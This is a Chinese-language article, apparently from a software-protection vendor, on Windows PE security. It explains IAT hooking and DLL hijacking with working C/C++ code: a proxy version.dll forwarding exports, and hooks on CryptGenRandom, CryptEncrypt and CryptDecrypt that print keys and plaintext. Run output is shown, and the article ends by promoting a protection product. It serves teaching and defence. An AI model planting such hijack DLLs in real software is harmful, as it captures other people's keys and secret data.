概述
Windows PE(Portable Executable)文件格式是Windows操作系统中用于存储可执行文件、动态链接库(DLL)以及驱动程序的标准格式。PE文件格式广泛应用于Windows系统中的程序执行,它支持多种操作系统架构和平台,包括x86、x64和ARM64架构。然而,随着PE文件在各类软件应用中的普及,其安全性问题逐渐浮现,尤其是一些恶意攻击者,利用PE文件的漏洞进行各种攻击,给系统带来了严重的安全隐患。
本文将深入分析Windows PE文件中的潜在安全漏洞,重点讨论常见的攻击手段,如IAT HOOK技术与DLL劫持,并通过实验验证其危害。同时,结合当前的安全防范策略,提出有效的防护措施,以帮助开发人员和安全专家更好地保护PE文件免受攻击和恶意篡改的威胁。
IAT HOOK
IAT(Import Address Table,导入地址表)是Windows PE文件格式中的一个重要数据结构,它存储了程序所依赖的外部库函数的地址。当程序执行时,操作系统根据IAT中的地址调用相应的函数。每个外部函数都有一个与之对应的地址指针,程序通过这些指针访问外部库提供的功能。
IAT HOOK是一种通过修改IAT表中的函数地址,从而劫持程序的函数调用的技术, 其原理如下。
- 通过ImageBase进行PE文件格式解析,获取到导入表地址。
- 根据导入表找到对应的依赖库和对应的导入函数地址。
- 记录原始导入函数地址并且替换挂钩函数。
IAT HOOK的关键在于,它不需要直接修改程序的代码或重新编译程序,而是通过修改内存中的IAT表,在程序运行时动态地劫持函数调用。这种方式具有较高的隐蔽性,因为程序本身的二进制文件并未发生任何变化,攻击者可以在不被察觉的情况下操控程序的行为,甚至可以绕过保护工具的内存校验。
DLL劫持
DLL劫持是指攻击者通过操控Windows系统如何加载动态链接库(DLL),使得系统或应用程序加载恶意的DLL文件而不是原本预期的合法DLL文件,从而执行恶意代码。为了理解DLL劫持的原理,我们首先需要了解Windows dll的加载机制和函数转发机制。
Windows的dll加载机制
当程序加载依赖DLL时,Windows默认按以下顺序搜索:
- 应用程序所在目录
- 系统目录(C:\Windows\System32)
- Windows目录(C:\Windows)
- 当前工作目录(CWD)
- 环境变量PATH中所有目录
函数转发机制
Windows中的函数转发机制允许一个DLL将部分函数的调用转发到另一个DLL中。这种机制使得多个DLL文件之间可以相互依赖,从而实现更复杂的功能组合。具体来说,当一个函数在DLL中找不到时,操作系统会根据转发规则将该函数的调用请求转发到其他DLL中。
劫持原理
利用Windows的DLL加载和函数转发机制,攻击者可以通过以下方式劫持DLL的加载过程:
- 通过函数转发机制,编写恶意动态库, 并与要劫持的动态库同名。
- 将恶意动态库放到应用程序所在目录,使系统加载动态库时优先加载恶意动态库。
实验
环境
- 系统:Windows 64
- 语言:C/C++
目的
通过DLL劫持与IAT HOOK实现在不修改原PE程序的情况下达到HOOK winapi的目的。
样例代码
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <vector>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "version.lib")
// 定义AES块大小
#define AES_BLOCK_SIZE 16
// 加密函数
bool EncryptData(
const std::vector<BYTE>& key,
const std::vector<BYTE>& data,
std::vector<BYTE>& encryptedData)
{
HCRYPTPROV hProv = 0;
HCRYPTKEY hKey = 0;
DWORD dwDataLen = static_cast<DWORD>(data.size());
BOOL bResult = FALSE;
// 获取加密上下文
if (!CryptAcquireContext(&hProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("CryptAcquireContext failed: %d\n", GetLastError());
return false;
}
// 创建密钥对象
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hKey)) {
printf("CryptCreateHash failed: %d\n", GetLastError());
CryptReleaseContext(hProv, 0);
return false;
}
// 哈希密钥数据
if (!CryptHashData(hKey, key.data(), static_cast<DWORD>(key.size()), 0)) {
printf("CryptHashData failed: %d\n", GetLastError());
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return false;
}
// 从哈希派生密钥
HCRYPTKEY hDerivedKey = 0;
if (!CryptDeriveKey(hProv, CALG_AES_256, hKey, CRYPT_EXPORTABLE, &hDerivedKey)) {
printf("CryptDeriveKey failed: %d\n", GetLastError());
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return false;
}
// 设置加密模式为CBC
DWORD dwMode = CRYPT_MODE_CBC;
if (!CryptSetKeyParam(hDerivedKey, KP_MODE, (BYTE*)&dwMode, 0)) {
printf("CryptSetKeyParam failed: %d\n", GetLastError());
CryptDestroyKey(hDerivedKey);
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return false;
}
// 分配加密数据缓冲区
DWORD dwEncryptedLen = dwDataLen + AES_BLOCK_SIZE;
encryptedData.resize(dwEncryptedLen);
memcpy(encryptedData.data(), data.data(), dwDataLen);
// 执行加密
if (!CryptEncrypt(hDerivedKey, 0, TRUE, 0, encryptedData.data(), &dwDataLen, dwEncryptedLen)) {
printf("CryptEncrypt failed: %d\n", GetLastError());
CryptDestroyKey(hDerivedKey);
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return false;
}
// 调整加密数据大小为实际大小
encryptedData.resize(dwDataLen);
// 清理资源
CryptDestroyKey(hDerivedKey);
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return true;
}
// 解密函数
bool DecryptData(
const std::vector<BYTE>& key,
const std::vector<BYTE>& encryptedData,
std::vector<BYTE>& decryptedData)
{
HCRYPTPROV hProv = 0;
HCRYPTKEY hKey = 0;
DWORD dwDataLen = static_cast<DWORD>(encryptedData.size());
BOOL bResult = FALSE;
// 获取加密上下文
if (!CryptAcquireContext(&hProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("CryptAcquireContext failed: %d\n", GetLastError());
return false;
}
// 创建哈希对象
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hKey)) {
printf("CryptCreateHash failed: %d\n", GetLastError());
CryptReleaseContext(hProv, 0);
return false;
}
// 哈希密钥数据
if (!CryptHashData(hKey, key.data(), static_cast<DWORD>(key.size()), 0)) {
printf("CryptHashData failed: %d\n", GetLastError());
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return false;
}
// 从哈希派生密钥
HCRYPTKEY hDerivedKey = 0;
if (!CryptDeriveKey(hProv, CALG_AES_256, hKey, CRYPT_EXPORTABLE, &hDerivedKey)) {
printf("CryptDeriveKey failed: %d\n", GetLastError());
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return false;
}
// 设置加密模式为CBC
DWORD dwMode = CRYPT_MODE_CBC;
if (!CryptSetKeyParam(hDerivedKey, KP_MODE, (BYTE*)&dwMode, 0)) {
printf("CryptSetKeyParam failed: %d\n", GetLastError());
CryptDestroyKey(hDerivedKey);
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return false;
}
// 分配解密数据缓冲区
decryptedData.resize(dwDataLen);
memcpy(decryptedData.data(), encryptedData.data(), dwDataLen);
// 执行解密
if (!CryptDecrypt(hDerivedKey, 0, TRUE, 0, decryptedData.data(), &dwDataLen)) {
printf("CryptDecrypt failed: %d\n", GetLastError());
CryptDestroyKey(hDerivedKey);
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return false;
}
// 调整解密数据大小为实际大小
decryptedData.resize(dwDataLen);
// 清理资源
CryptDestroyKey(hDerivedKey);
CryptDestroyHash(hKey);
CryptReleaseContext(hProv, 0);
return true;
}
// 生成随机密钥
bool GenerateRandomKey(std::vector<BYTE>& key, DWORD keySize = 32) {
HCRYPTPROV hProv = 0;
if (!CryptAcquireContext(&hProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("CryptAcquireContext failed: %d\n", GetLastError());
return false;
}
key.resize(keySize);
if (!CryptGenRandom(hProv, keySize, key.data())) {
printf("CryptGenRandom failed: %d\n", GetLastError());
CryptReleaseContext(hProv, 0);
return false;
}
CryptReleaseContext(hProv, 0);
return true;
}
int main(int argc, char* argv[]) {
DWORD versionSize = GetFileVersionInfoSizeA(argv[0], NULL);
if (versionSize != 0)
{
std::vector<uint8_t> versionInfo(versionSize);
if (GetFileVersionInfoA(argv[0], 0, versionInfo.size(), versionInfo.data()))
{
// 查询版本信息中的文件版本
VS_FIXEDFILEINFO* pFileInfo;
UINT len;
if (VerQueryValueA(versionInfo.data(), "\\", (LPVOID*)&pFileInfo, &len)) {
// 获取文件版本
DWORD dwFileVersionMS = pFileInfo->dwFileVersionMS;
DWORD dwFileVersionLS = pFileInfo->dwFileVersionLS;
// 版本信息是由两个 DWORD 组成的
WORD major = HIWORD(dwFileVersionMS);
WORD minor = LOWORD(dwFileVersionMS);
WORD build = HIWORD(dwFileVersionLS);
WORD revision = LOWORD(dwFileVersionLS);
printf("Version: %d.%d.%d.%d\n", major, minor, build, revision);
}
else {
printf("Failed to query version value.\n");
}
}
}
// 原始数据
const char* originalText = "Hello World";
std::vector<BYTE> data(originalText, originalText + strlen(originalText) + 1);
// 生成随机密钥
std::vector<BYTE> key;
if (!GenerateRandomKey(key, 32)) {
printf("生成密钥失败\n");
return 1;
}
printf("Plaintext:%s\n\n", originalText);
printf("Key: ");
for (BYTE b : key) {
printf("%02X", b);
}
printf("\n\n");
std::vector<BYTE> encryptedData;
if (!EncryptData(key, data, encryptedData)) {
printf("加密失败\n");
return 1;
}
printf("Ciphertext: ");
for (BYTE b : encryptedData) {
printf("%02X", b);
}
printf("\n\n");
// 解密数据
std::vector<BYTE> decryptedData;
if (!DecryptData(key, encryptedData, decryptedData)) {
printf("解密失败\n");
return 1;
}
printf("Decrypted data: %s\n", decryptedData.data());
printf("Press any key to exit...");
getchar();
return 0;
}
劫持库代码
dll劫持
通过劫持version.dll系统库,并将其导出函数转发的version2.dll中。
#include "pch.h"
#include "hook.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=version2.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=version2.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=version2.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=version2.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=version2.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=version2.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=version2.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=version2.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=version2.GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=version2.VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=version2.VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=version2.VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=version2.VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=version2.VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=version2.VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=version2.VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=version2.VerQueryValueW,@17")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
if (!dohook())
{
return FALSE;
}
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
IAT HOOK
通过IAT HOOK,打印样例程序中的CryptGenRandom,CryptEncrypt, CryptDecrypt 函数参数信息。
#include "pch.h"
#include "hook.h"
#include <wincrypt.h>
#include <type_traits>
#include "includes/nt/image.hpp"
#include <string>
#include <string_view>
using CryptGenRandom_t = std::add_pointer<decltype(CryptGenRandom)>::type;
using CryptEncrypt_t = std::add_pointer<decltype(CryptEncrypt)>::type;
using CryptDecrypt_t = std::add_pointer<decltype(CryptDecrypt)>::type;
static CryptGenRandom_t s_orginalCryptGenRandom = nullptr;
static CryptEncrypt_t s_orginalCryptEncrypt = nullptr;
static CryptDecrypt_t s_orginalCryptDecrypt = nullptr;
static bool reaplceExeIAT(std::string_view dllName, std::string_view importName, void* detour, void** orginalAddress)
{
void* base = GetModuleHandleA(NULL);
win::image_x64_t* image = (win::image_x64_t*)base;
win::data_directory_t* import_dir = image->get_directory(win::directory_entry_import);
if(!import_dir|| !import_dir->present())
return false;
win::import_directory_t* dllimport = (win::import_directory_t*)image->rva_to_ptr(import_dir->rva, import_dir->size);
win::import_directory_t* dllimportBound = (win::import_directory_t*)((uint8_t*)dllimport + import_dir->size);
win::import_directory_t* targetImport = nullptr;
while (dllimport->rva_name != 0 && dllimport->rva_first_thunk != 0 && dllimport < dllimportBound)
{
const char* name = (const char*)image->rva_to_ptr(dllimport->rva_name);
if (dllName.compare(name) == 0)
{
targetImport = dllimport;
break;
}
dllimport++;
}
if(!targetImport)
return false;
win::image_thunk_data_x64_t* importNameTable = (win::image_thunk_data_x64_t*)image->rva_to_ptr(dllimport->rva_original_first_thunk);
win::image_thunk_data_x64_t* importAddressTable = (win::image_thunk_data_x64_t*)image->rva_to_ptr(dllimport->rva_first_thunk);
for (int i = 0; importNameTable[i].forwarder_string != 0; ++i)
{
win::image_named_import_t* nameImport = (win::image_named_import_t*)image->rva_to_ptr(importNameTable[i].forwarder_string);
if (importName.compare(nameImport->name) == 0)
{
// replace import address table entry
DWORD backProtect = 0;
VirtualProtect((void*)&importAddressTable[i], sizeof(void*), PAGE_EXECUTE_READWRITE, &backProtect);
*orginalAddress = (void*)importAddressTable[i].address;
importAddressTable[i].address = (uint64_t)detour;
VirtualProtect((void*)&importAddressTable[i], sizeof(void*), backProtect, &backProtect);
return true;
}
}
return false;
}
static std::string binaryToString(const void* buffer, size_t size)
{
std::string str;
for (int i = 0; i< size; ++i) {
char tmpstr[3];
snprintf(tmpstr, sizeof(tmpstr), "%02X", ((uint8_t*)buffer)[i]);
str.append(tmpstr);
}
return str;
}
BOOL
WINAPI
HookCryptGenRandom(
_In_ HCRYPTPROV hProv,
_In_ DWORD dwLen,
_Inout_updates_bytes_(dwLen) BYTE* pbBuffer
)
{
BOOL ret = s_orginalCryptGenRandom(hProv, dwLen, pbBuffer);
std::string buffString = ret ? binaryToString(pbBuffer, dwLen) : "";
printf("[hijack_version] - %s ret:%d dwLen:%08x pbBuffer: %s\n", __FUNCTION__, ret, dwLen, buffString.c_str());
return ret;
}
BOOL
WINAPI
HookCryptEncrypt(
_In_ HCRYPTKEY hKey,
_In_ HCRYPTHASH hHash,
_In_ BOOL Final,
_In_ DWORD dwFlags,
_Inout_updates_bytes_to_opt_(dwBufLen, *pdwDataLen) BYTE* pbData,
_Inout_ DWORD* pdwDataLen,
_In_ DWORD dwBufLen
)
{
std::string plaintBuffer = binaryToString(pbData, *pdwDataLen);
std::string Plaintext((char*)pbData, dwBufLen);
BOOL ret = s_orginalCryptEncrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen, dwBufLen);
std::string buffString = ret ? binaryToString(pbData, *pdwDataLen) : "";
printf("[hijack_version] - %s ret:%d Plaintext:%s(%s) encrypt:%s\n", __FUNCTION__, ret, plaintBuffer.c_str(), Plaintext.c_str(), buffString.c_str());
return ret;
}
BOOL
WINAPI
HookCryptDecrypt(
_In_ HCRYPTKEY hKey,
_In_ HCRYPTHASH hHash,
_In_ BOOL Final,
_In_ DWORD dwFlags,
_Inout_updates_bytes_to_(*pdwDataLen, *pdwDataLen) BYTE* pbData,
_Inout_ DWORD* pdwDataLen
)
{
std::string buffString = binaryToString(pbData, *pdwDataLen);
BOOL ret = s_orginalCryptDecrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen);
std::string plaintBuffer = ret ? binaryToString(pbData, *pdwDataLen) : "";
std::string Plaintext((char*)pbData, *pdwDataLen);
printf("[hijack_version] - %s ret:%d encrypt:%s Plaintext:%s(%s)\n", __FUNCTION__, ret, buffString.data(), plaintBuffer.c_str(), Plaintext.c_str());
return ret;
}
bool dohook()
{
// HOOK CryptGenRandom, CryptEncrypt, CryptDecrypt
if(!reaplceExeIAT("ADVAPI32.dll", "CryptGenRandom", HookCryptGenRandom, (void**)&s_orginalCryptGenRandom))
return false;
if (!reaplceExeIAT("ADVAPI32.dll", "CryptEncrypt", HookCryptEncrypt, (void**)&s_orginalCryptEncrypt))
return false;
if (!reaplceExeIAT("ADVAPI32.dll", "CryptDecrypt", HookCryptDecrypt, (void**)&s_orginalCryptDecrypt))
return false;
return true;
}
效果
Version: 1.0.0.1
[hijack_version] - HookCryptGenRandom ret:1 dwLen:00000020 pbBuffer: B1C381F18F3D1EE39FBFE348E5F482D39D99A8779D77A644039B18952CEA30E9
Plaintext:Hello World
Key: B1C381F18F3D1EE39FBFE348E5F482D39D99A8779D77A644039B18952CEA30E9
[hijack_version] - HookCryptEncrypt ret:1 Plaintext:48656C6C6F20576F726C6400(Hello World) encrypt:7C34F42689127D66A4C4AC85E2AA8A27
Ciphertext: 7C34F42689127D66A4C4AC85E2AA8A27
[hijack_version] - HookCryptDecrypt ret:1 encrypt:7C34F42689127D66A4C4AC85E2AA8A27 Plaintext:48656C6C6F20576F726C6400(Hello World)
Decrypted data: Hello World
Press any key to exit...
安全防范
Virbox Protector 为软件提供全面的安全防护,核心功能之一是导入表保护,通过加密PE文件中的导入表并隐藏关键API列表,有效增加逆向工程的难度。同时,Virbox通过混淆和验证导入函数地址,防范常见的IAT Hook攻击,阻止恶意代码篡改程序的API调用流程。除了导入表保护,Virbox还结合多种高级保护机制:代码虚拟化将原始指令转换为自定义虚拟机指令,并通过虚拟机模拟执行,代码混淆通过花指令和代码非等价变形技术扰乱原始指令,代码加密则采用SMC(Self-Modifying Code)技术将函数加密并在执行时解密。这三者协同工作,大幅提升了代码的抗分析强度。同时,内存校验功能通过动态检测程序完整性,防止篡改和内存补丁,反调试技术主动识别并阻止调试器分析,压缩不仅能减小程序体积,还加密代码数据段,有效防止静态反编译。层层叠加的防护机制共同构建了一个深度防御体系,显著增强了软件的抗破解能力。